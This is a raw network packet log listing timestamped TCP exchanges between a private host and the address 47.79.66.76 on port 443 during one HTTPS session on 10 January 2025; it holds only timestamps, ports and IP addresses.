Jan 10, 2025 07:52:10.317013979 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.317022085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.317076921 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.317399979 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.327863932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.327908993 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.327995062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.328006983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.328072071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.328072071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.332874060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.332921028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.332957983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.332967997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.332993984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.333009005 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.341320038 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.341377020 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.341394901 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.341408014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.341464043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.341464043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.371931076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.372003078 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.372047901 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.372060061 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.372121096 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.372121096 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.378050089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.378102064 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.378161907 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.378161907 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.378175020 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.378690958 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.390906096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.390949011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.390980959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.390995979 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.391026020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.391081095 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411231995 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411303043 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411350012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411382914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411504030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411504030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411550999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411595106 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411613941 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411627054 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.411679983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.411679983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.420253992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.420300007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.420368910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.420368910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.420380116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.420427084 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.427458048 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.427511930 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.427550077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.427558899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.427602053 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.427602053 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.427602053 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.432353973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.432396889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.432431936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.432440996 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.432498932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.432498932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.464353085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.464426994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.464478016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.464485884 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.464524984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.464827061 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.472002983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.472049952 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.472088099 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.472095966 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.472107887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.472174883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.483233929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.483278036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.483329058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.483338118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.483366013 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.483380079 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.503681898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.503739119 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.503768921 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.503776073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.503813028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.503813028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.504167080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.504220963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.504261971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.504267931 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.504285097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.504738092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.512645006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.512708902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.512759924 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.512767076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.512790918 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.512811899 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.518337965 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.518392086 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.518413067 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.518420935 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.518472910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.518472910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.524755955 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.524816036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.524869919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.524878025 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.524889946 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.524926901 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.555133104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.555166006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.555239916 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.555241108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.555249929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.555337906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.563153982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.563175917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.563221931 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.563229084 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.563262939 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.563298941 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.574335098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.574383020 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.574454069 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.574454069 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.574461937 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.574565887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.596100092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.596149921 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.596184969 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.596194029 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.596227884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.596227884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.596771002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.596813917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.596842051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.596848965 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.597352028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.597352028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.605139971 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.605185986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.605258942 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.605266094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.605282068 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.608006954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.610678911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.610726118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.610810041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.610810041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.610816956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.610872030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.617307901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.617350101 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.617402077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.617409945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.617470026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.617470026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.647994995 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.648041010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.648061991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.648097992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.648107052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.648158073 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.655558109 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.655601025 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.655618906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.655627966 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.655662060 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.655695915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.666835070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.666878939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.666966915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.666966915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.666974068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.667332888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.688462973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.688508987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.688663960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.688663960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.688672066 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.688735962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.689260006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.689306021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.690052032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.690052032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.690059900 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.690685034 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.697559118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.697606087 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.697674990 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.697674990 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.697683096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.698534966 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.703227997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.703270912 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.703324080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.703331947 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.703347921 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.703371048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.709757090 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.709804058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.709851027 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.709857941 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.709889889 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.710685015 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.740431070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.740464926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.740561008 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.740561008 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.740569115 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.742214918 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.748167992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.748239040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.748302937 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.748310089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.748342991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.748342991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.759330988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.759383917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.759434938 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.759443045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.759471893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.761781931 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781032085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781076908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781208992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781208992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781217098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781682014 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781836033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781879902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781908989 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781914949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.781949997 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.781949997 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.789973974 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.790023088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.790071964 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.790081024 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.790163994 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.790163994 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.795855999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.795932055 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.795960903 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.795969009 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.796017885 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.796017885 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.802297115 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.802359104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.802470922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.802470922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.802478075 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.803335905 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.833223104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.833286047 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.833344936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.833359957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.833894968 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.833894968 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.840646982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.840706110 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.841355085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.841355085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.841372013 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.842406034 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.851775885 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.851838112 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.851874113 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.851882935 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.851918936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.851919889 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.873632908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.873694897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.873765945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.873765945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.873779058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.874191046 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.874403954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.874463081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.874475002 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.874501944 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.874533892 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.874588013 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.882788897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.882853031 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.882879019 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.882889986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.882972002 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.882972002 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.888012886 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.888075113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.888098001 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.888106108 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.888145924 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.888170958 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.894809961 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.894891977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.894913912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.894921064 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.895338058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.925462961 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.925542116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.925726891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.925726891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.925738096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.927354097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.933022976 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.933084011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.933181047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.933181047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.933190107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.933242083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.944349051 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.944411039 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.944464922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.944483042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.944499969 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.945676088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.966095924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.966162920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.966212988 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.966229916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.966274023 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.966274023 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.969750881 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.969854116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.969867945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.969881058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:10.969957113 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:10.969957113 CET	49751	443	192.168.2.9	47.79.66.76
